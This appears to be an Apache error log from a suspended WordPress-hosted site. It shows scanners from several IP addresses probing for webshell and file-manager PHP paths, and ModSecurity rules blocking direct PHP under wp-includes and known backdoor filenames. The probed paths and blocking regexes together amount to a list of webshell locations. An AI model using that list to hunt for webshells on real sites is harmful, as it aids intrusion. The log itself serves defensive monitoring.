[Fri Mar 13 05:06:40.846543 2026] [:error] [pid 44755:tid 44757] [client 136.144.19.221:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blog.php
[Fri Mar 13 05:06:41.141131 2026] [:error] [pid 44755:tid 44774] [client 136.144.19.221:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/default.php
[Fri Mar 13 05:06:41.427495 2026] [:error] [pid 44755:tid 44761] [client 136.144.19.221:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/hehehehe.php
[Fri Mar 13 05:06:41.693110 2026] [:error] [pid 44755:tid 44777] [client 136.144.19.221:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Fri Mar 13 05:06:42.015961 2026] [:error] [pid 44755:tid 44771] [client 136.144.19.221:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/click.php
[Fri Mar 13 05:06:42.298285 2026] [:error] [pid 44755:tid 44759] [client 136.144.19.221:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-links.php
[Fri Mar 13 05:06:42.842169 2026] [:error] [pid 44755:tid 44757] [client 136.144.19.221:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-head.php
[Fri Mar 13 05:06:43.118328 2026] [:error] [pid 44755:tid 44764] [client 136.144.19.221:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/av.php
[Fri Mar 13 05:06:43.392260 2026] [:error] [pid 44755:tid 44776] [client 136.144.19.221:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/exit.php
[Fri Mar 13 05:06:43.704526 2026] [:error] [pid 44755:tid 44769] [client 136.144.19.221:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/manager.php
[Fri Mar 13 05:06:43.990642 2026] [:error] [pid 44755:tid 44775] [client 136.144.19.221:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/x.php
[Fri Mar 13 05:06:44.259019 2026] [:error] [pid 44755:tid 44776] [client 136.144.19.221:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/litespeed.php
[Fri Mar 13 05:06:44.533687 2026] [:error] [pid 44755:tid 44772] [client 136.144.19.221:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/mini.php
[Fri Mar 13 05:06:44.798902 2026] [:error] [pid 44755:tid 44778] [client 136.144.19.221:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/edit-tags.php
[Fri Mar 13 05:06:45.330094 2026] [:error] [pid 44755:tid 44773] [client 136.144.19.221:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-header.php
[Fri Mar 13 05:06:45.606808 2026] [:error] [pid 44755:tid 44768] [client 136.144.19.221:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/moon.php
[Fri Mar 13 05:06:45.869468 2026] [:error] [pid 44755:tid 44763] [client 136.144.19.221:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Fri Mar 13 05:06:46.132775 2026] [:error] [pid 44755:tid 44764] [client 136.144.19.221:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/css.php
[Fri Mar 13 05:06:46.402209 2026] [:error] [pid 44755:tid 44773] [client 136.144.19.221:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/new.php
[Fri Mar 13 05:06:46.676095 2026] [:error] [pid 44755:tid 44761] [client 136.144.19.221:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/options-reading.php
[Fri Mar 13 05:06:46.935402 2026] [:error] [pid 44755:tid 44764] [client 136.144.19.221:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/filefuns.php
[Fri Mar 13 05:06:47.514733 2026] [:error] [pid 44755:tid 44759] [client 136.144.19.221:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/ini.php
[Fri Mar 13 05:06:48.073045 2026] [:error] [pid 44755:tid 44776] [client 136.144.19.221:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/l.php
[Fri Mar 13 05:06:48.378404 2026] [:error] [pid 44755:tid 44766] [client 136.144.19.221:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/XxX.php
[Fri Mar 13 05:06:48.704923 2026] [:error] [pid 44755:tid 44770] [client 136.144.19.221:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/Sanskrit.php
[Fri Mar 13 05:06:48.991615 2026] [:error] [pid 44755:tid 44757] [client 136.144.19.221:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-themes.php
[Fri Mar 13 05:06:49.306634 2026] [:error] [pid 44755:tid 44780] [client 136.144.19.221:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/gm.php
[Fri Mar 13 05:06:49.603275 2026] [:error] [pid 44755:tid 44766] [client 136.144.19.221:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/mariju.php
[Fri Mar 13 05:06:49.862343 2026] [:error] [pid 44755:tid 44773] [client 136.144.19.221:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/NewFile.php
[Fri Mar 13 05:06:50.152167 2026] [:error] [pid 44755:tid 44759] [client 136.144.19.221:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/dropdown.php
[Fri Mar 13 05:06:50.413335 2026] [:error] [pid 44755:tid 44777] [client 136.144.19.221:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Fri Mar 13 05:06:50.688401 2026] [:error] [pid 44755:tid 44778] [client 136.144.19.221:54507] [client 136.144.19.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/fm.php"] [unique_id "abMq6vONf1H0XrBFE4NNYAAAARU"]
[Fri Mar 13 05:06:51.263855 2026] [:error] [pid 61929:tid 62017] [client 216.24.219.167:34727] File does not exist: /usr/local/apache/htdocs/suspended-page/jp.php
[Fri Mar 13 05:06:51.922320 2026] [:error] [pid 61929:tid 62018] [client 216.24.219.167:34727] File does not exist: /usr/local/apache/htdocs/suspended-page/radio.php
[Fri Mar 13 05:06:52.189160 2026] [:error] [pid 61929:tid 62005] [client 216.24.219.167:34727] File does not exist: /usr/local/apache/htdocs/suspended-page/web.php
[Fri Mar 13 05:06:52.494438 2026] [:error] [pid 61929:tid 62024] [client 216.24.219.167:34727] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Fri Mar 13 05:06:52.755497 2026] [:error] [pid 61929:tid 62013] [client 216.24.219.167:34727] File does not exist: /usr/local/apache/htdocs/suspended-page/buy.php
[Fri Mar 13 05:06:53.050778 2026] [:error] [pid 61929:tid 62025] [client 216.24.219.167:34727] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfusm.php
[Fri Mar 13 05:06:53.314636 2026] [:error] [pid 61929:tid 62015] [client 216.24.219.167:34727] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-admin.php
[Fri Mar 13 05:06:53.593105 2026] [:error] [pid 61929:tid 62006] [client 216.24.219.167:34727] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-atom.php
[Fri Mar 13 05:06:54.176334 2026] [:error] [pid 61929:tid 62004] [client 216.24.219.167:34727] File does not exist: /usr/local/apache/htdocs/suspended-page/delpaths.php
[Fri Mar 13 05:06:54.711368 2026] [:error] [pid 61929:tid 62011] [client 216.24.219.167:34727] File does not exist: /usr/local/apache/htdocs/suspended-page/byp.php
[Fri Mar 13 05:06:55.022410 2026] [:error] [pid 61929:tid 62023] [client 216.24.219.167:34727] File does not exist: /usr/local/apache/htdocs/suspended-page/makeasmtp.php
[Fri Mar 13 05:06:55.286294 2026] [:error] [pid 61929:tid 62019] [client 216.24.219.167:34727] File does not exist: /usr/local/apache/htdocs/suspended-page/memberfuns.php
[Fri Mar 13 05:06:55.632994 2026] [:error] [pid 61929:tid 62017] [client 216.24.219.167:34727] File does not exist: /usr/local/apache/htdocs/suspended-page/mah.php
[Fri Mar 13 05:06:55.929202 2026] [:error] [pid 61929:tid 62014] [client 216.24.219.167:34727] File does not exist: /usr/local/apache/htdocs/suspended-page/bs1.php
[Fri Mar 13 05:06:56.192365 2026] [:error] [pid 61929:tid 62018] [client 216.24.219.167:34727] File does not exist: /usr/local/apache/htdocs/suspended-page/zwso.php
[Fri Mar 13 05:06:56.464582 2026] [:error] [pid 61929:tid 62026] [client 216.24.219.167:34727] File does not exist: /usr/local/apache/htdocs/suspended-page/xp.php
[Fri Mar 13 05:06:56.734877 2026] [:error] [pid 61929:tid 62011] [client 216.24.219.167:34727] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-themes.php
[Fri Mar 13 05:06:57.322427 2026] [:error] [pid 61929:tid 62014] [client 216.24.219.167:34727] [client 216.24.219.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "abMq8TGGsow2jgUjLtxCCgAAAIo"]
[Fri Mar 13 05:06:57.911204 2026] [:error] [pid 61928:tid 61991] [client 136.144.19.67:63097] [client 136.144.19.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "abMq8Qod66AHekJJZioZywAAAE4"]
[Fri Mar 13 05:07:00.891049 2026] [:error] [pid 62036:tid 62065] [client 216.24.219.212:51387] [client 216.24.219.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "abMq9Lce6g9kILuh_R7Y7AAAANY"]
[Fri Mar 13 05:07:01.710586 2026] [:error] [pid 61929:tid 62014] [client 136.144.19.67:41987] [client 136.144.19.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/chosen.php"] [unique_id "abMq9TGGsow2jgUjLtxCJAAAAIo"]
[Fri Mar 13 05:07:02.863620 2026] [:error] [pid 62036:tid 62043] [client 216.24.219.200:33897] [client 216.24.219.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "abMq9rce6g9kILuh_R7Y-wAAAMA"]
[Fri Mar 13 05:07:05.316849 2026] [:error] [pid 61929:tid 62015] [client 136.144.19.64:35463] [client 136.144.19.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "abMq-TGGsow2jgUjLtxCUAAAAIs"]
[Fri Mar 13 05:07:06.557273 2026] [:error] [pid 61929:tid 62018] [client 136.144.19.70:20171] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/gecko-old.php
[Fri Mar 13 05:07:06.819734 2026] [:error] [pid 61929:tid 62007] [client 136.144.19.70:20171] [client 136.144.19.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "abMq-jGGsow2jgUjLtxCZQAAAIM"]
[Fri Mar 13 05:07:07.658792 2026] [:error] [pid 44755:tid 44781] [client 216.24.219.212:57963] [client 216.24.219.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "abMq-_ONf1H0XrBFE4NN7AAAARg"]
[Fri Mar 13 05:07:09.242586 2026] [:error] [pid 44755:tid 44778] [client 136.144.19.48:25729] [client 136.144.19.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "abMq_fONf1H0XrBFE4NN-AAAARU"]
[Fri Mar 13 05:07:10.412300 2026] [:error] [pid 44755:tid 44758] [client 136.144.19.60:25937] [client 136.144.19.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "abMq_vONf1H0XrBFE4NOBwAAAQE"]
[Fri Mar 13 05:07:10.958409 2026] [:error] [pid 62036:tid 62050] [client 136.144.19.67:51301] [client 136.144.19.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/dedi1.php"] [unique_id "abMq_rce6g9kILuh_R7ZLAAAAMc"]
[Fri Mar 13 05:07:11.821186 2026] [:error] [pid 44755:tid 44769] [client 136.144.19.225:20751] [client 136.144.19.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-bindings/about.php"] [unique_id "abMq__ONf1H0XrBFE4NOIAAAAQw"]
[Fri Mar 13 05:07:12.901193 2026] [:error] [pid 62036:tid 62054] [client 136.144.19.229:56609] [client 136.144.19.229] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "abMrALce6g9kILuh_R7ZSQAAAMs"]
[Fri Mar 13 05:07:13.560077 2026] [:error] [pid 62036:tid 62057] [client 136.144.19.74:46003] [client 136.144.19.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "abMrAbce6g9kILuh_R7ZTwAAAM4"]
[Fri Mar 13 05:07:14.074286 2026] [:error] [pid 61929:tid 62021] [client 136.144.19.75:57083] [client 136.144.19.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "abMrAjGGsow2jgUjLtxCngAAAJE"]
[Fri Mar 13 05:07:15.436191 2026] [:error] [pid 44755:tid 44761] [client 216.24.219.211:25903] [client 216.24.219.211] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "abMrA_ONf1H0XrBFE4NONgAAAQQ"]
[Fri Mar 13 05:07:15.945826 2026] [:error] [pid 61929:tid 62012] [client 136.144.19.53:34649] [client 136.144.19.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "abMrAzGGsow2jgUjLtxCtwAAAIg"]
[Fri Mar 13 05:07:16.461966 2026] [:error] [pid 61929:tid 62028] [client 136.144.19.46:43377] [client 136.144.19.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "abMrBDGGsow2jgUjLtxCvwAAAJg"]
[Fri Mar 13 05:07:17.001120 2026] [:error] [pid 44755:tid 44778] [client 216.24.219.201:23665] [client 216.24.219.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "abMrBfONf1H0XrBFE4NOPAAAARU"]
[Fri Mar 13 05:07:17.545502 2026] [:error] [pid 62036:tid 62064] [client 136.144.19.234:62209] [client 136.144.19.234] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "abMrBbce6g9kILuh_R7ZdgAAANU"]
[Fri Mar 13 05:07:18.355180 2026] [:error] [pid 62036:tid 62057] [client 136.144.19.74:41099] [client 136.144.19.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "abMrBrce6g9kILuh_R7ZggAAAM4"]
[Fri Mar 13 05:07:18.936168 2026] [:error] [pid 61927:tid 61956] [client 136.144.19.41:33671] [client 136.144.19.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "abMrBrLkK584eBa2J7W5ZAAAAAo"]
[Fri Mar 13 05:07:19.519928 2026] [:error] [pid 61929:tid 62027] [client 193.36.224.140:61159] [client 193.36.224.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "abMrBzGGsow2jgUjLtxC5AAAAJc"]
[Fri Mar 13 05:07:20.381926 2026] [:error] [pid 61928:tid 61986] [client 136.144.19.41:39497] [client 136.144.19.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "abMrCAod66AHekJJZioaPwAAAEk"]
[Fri Mar 13 05:07:21.580500 2026] [:error] [pid 44755:tid 44760] [client 216.24.219.211:52655] [client 216.24.219.211] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "abMrCfONf1H0XrBFE4NOYwAAAQM"]
[Fri Mar 13 05:07:22.152620 2026] [:error] [pid 44755:tid 44768] [client 216.24.219.211:37297] [client 216.24.219.211] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "abMrCvONf1H0XrBFE4NOZwAAAQs"]
[Fri Mar 13 05:07:24.508983 2026] [:error] [pid 62036:tid 62061] [client 136.144.19.235:21339] [client 136.144.19.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "abMrDLce6g9kILuh_R7ZtwAAANI"]
[Fri Mar 13 05:07:27.753543 2026] [:error] [pid 61928:tid 61996] [client 136.144.19.58:27945] [client 136.144.19.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/colour.php"] [unique_id "abMrDwod66AHekJJZioaeQAAAFM"]
[Fri Mar 13 05:07:28.268674 2026] [:error] [pid 61929:tid 62021] [client 216.24.219.143:44809] [client 216.24.219.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "abMrEDGGsow2jgUjLtxDHAAAAJE"]
[Fri Mar 13 05:07:28.954398 2026] [:error] [pid 61927:tid 61960] [client 193.36.224.114:63759] [client 193.36.224.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "abMrELLkK584eBa2J7W5mAAAAA4"]
[Fri Mar 13 05:07:29.500265 2026] [:error] [pid 61929:tid 62026] [client 136.144.19.236:51851] File does not exist: /usr/local/apache/htdocs/suspended-page/system_log.php
[Fri Mar 13 05:07:31.044131 2026] [:error] [pid 61929:tid 62026] [client 136.144.19.236:51851] [client 136.144.19.236] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "abMrEzGGsow2jgUjLtxDOgAAAJY"]
[Fri Mar 13 05:07:32.147656 2026] [:error] [pid 62036:tid 62056] [client 136.144.19.232:24803] [client 136.144.19.232] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "abMrFLce6g9kILuh_R7Z-QAAAM0"]
[Fri Mar 13 05:07:33.254089 2026] [:error] [pid 61929:tid 62025] [client 216.24.219.195:56743] [client 216.24.219.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "abMrFTGGsow2jgUjLtxDQQAAAJU"]
[Fri Mar 13 05:07:34.102842 2026] [:error] [pid 61929:tid 62026] [client 216.24.219.200:29807] [client 216.24.219.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "abMrFjGGsow2jgUjLtxDSQAAAJY"]
[Fri Mar 13 05:07:34.649830 2026] [:error] [pid 62036:tid 62048] [client 136.144.19.219:59733] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-signup.php
